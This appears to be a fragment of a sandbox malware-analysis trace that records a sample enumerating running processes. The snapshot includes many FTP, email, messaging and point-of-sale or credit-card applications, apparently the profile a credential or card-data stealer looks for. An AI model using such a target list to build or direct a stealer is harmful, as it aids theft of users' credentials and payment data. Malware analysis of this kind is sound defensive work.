	[0093.163] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0093.164] lstrlenW (lpString="audiodg.exe") returned 11
	[0093.164] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0093.164] lstrlenW (lpString="sihost.exe") returned 10
	[0093.164] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0093.165] lstrlenW (lpString="svchost.exe") returned 11
	[0093.165] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0093.165] lstrlenW (lpString="taskhostw.exe") returned 13
	[0093.165] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0093.166] lstrlenW (lpString="explorer.exe") returned 12
	[0093.166] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0093.166] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0093.166] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0093.167] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0093.167] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0093.167] lstrlenW (lpString="Memory Compression") returned 18
	[0093.168] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0093.168] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0093.169] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0093.266] lstrlenW (lpString="SearchUI.exe") returned 12
	[0093.266] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0093.267] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0093.267] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0093.267] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0093.268] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0093.268] lstrlenW (lpString="fur-hold.exe") returned 12
	[0093.268] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0093.283] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0093.283] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0093.284] lstrlenW (lpString="vat.exe") returned 7
	[0093.284] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0093.284] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0093.285] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0093.285] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0093.285] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0093.286] lstrlenW (lpString="paxiltried.exe") returned 14
	[0093.286] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0093.286] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0093.286] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0093.287] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0093.287] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0093.287] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0093.287] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0093.288] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0093.288] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0093.288] lstrlenW (lpString="ride_australian.exe") returned 19
	[0093.288] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0093.289] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0093.289] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0093.289] lstrlenW (lpString="rc remember.exe") returned 15
	[0093.289] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0093.290] lstrlenW (lpString="records replace.exe") returned 19
	[0093.290] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0093.290] lstrlenW (lpString="isp physiology.exe") returned 18
	[0093.290] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0093.291] lstrlenW (lpString="feb.exe") returned 7
	[0093.291] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0093.291] lstrlenW (lpString="citizenship.exe") returned 15
	[0093.291] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0093.292] lstrlenW (lpString="wifi.exe") returned 8
	[0093.292] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0093.292] lstrlenW (lpString="3dftp.exe") returned 9
	[0093.292] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0093.293] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0093.293] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0093.294] lstrlenW (lpString="alftp.exe") returned 9
	[0093.294] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0093.437] lstrlenW (lpString="barca.exe") returned 9
	[0093.437] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0093.438] lstrlenW (lpString="bitkinex.exe") returned 12
	[0093.438] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0093.439] lstrlenW (lpString="coreftp.exe") returned 11
	[0093.439] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0093.439] lstrlenW (lpString="far.exe") returned 7
	[0093.439] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0093.444] lstrlenW (lpString="filezilla.exe") returned 13
	[0093.444] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0093.445] lstrlenW (lpString="flashfxp.exe") returned 12
	[0093.445] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0093.446] lstrlenW (lpString="fling.exe") returned 9
	[0093.446] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0093.513] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0093.513] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0093.514] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0093.514] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0093.515] lstrlenW (lpString="icq.exe") returned 7
	[0093.515] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0093.516] lstrlenW (lpString="leechftp.exe") returned 12
	[0093.516] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0093.517] lstrlenW (lpString="ncftp.exe") returned 9
	[0093.517] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0093.517] lstrlenW (lpString="notepad.exe") returned 11
	[0093.518] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0093.518] lstrlenW (lpString="operamail.exe") returned 13
	[0093.518] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0093.519] lstrlenW (lpString="pidgin.exe") returned 10
	[0093.519] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0093.520] lstrlenW (lpString="scriptftp.exe") returned 13
	[0093.520] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0093.521] lstrlenW (lpString="skype.exe") returned 9
	[0093.521] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0093.522] lstrlenW (lpString="smartftp.exe") returned 12
	[0093.522] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0093.523] lstrlenW (lpString="thunderbird.exe") returned 15
	[0093.523] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0093.524] lstrlenW (lpString="totalcmd.exe") returned 12
	[0093.524] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0093.524] lstrlenW (lpString="trillian.exe") returned 12
	[0093.524] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0093.525] lstrlenW (lpString="webdrive.exe") returned 12
	[0093.525] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0093.526] lstrlenW (lpString="whatsapp.exe") returned 12
	[0093.526] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0093.527] lstrlenW (lpString="winscp.exe") returned 10
	[0093.527] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0093.528] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0093.528] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0093.529] lstrlenW (lpString="active-charge.exe") returned 17
	[0093.529] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0093.529] lstrlenW (lpString="accupos.exe") returned 11
	[0093.529] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0093.530] lstrlenW (lpString="afr38.exe") returned 9
	[0093.530] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0093.531] lstrlenW (lpString="aldelo.exe") returned 10
	[0093.531] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0093.532] lstrlenW (lpString="ccv_server.exe") returned 14
	[0093.532] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0093.533] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0093.533] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0093.533] lstrlenW (lpString="creditservice.exe") returned 17
	[0093.533] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0093.534] lstrlenW (lpString="edcsvr.exe") returned 10
	[0093.534] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0093.535] lstrlenW (lpString="fpos.exe") returned 8
	[0093.535] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0093.536] lstrlenW (lpString="isspos.exe") returned 10
	[0093.536] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0093.536] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0093.536] Process32NextW (in: hSnapshot=0x390, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0093.537] lstrlenW (lpString="omnipos.exe") returned 11
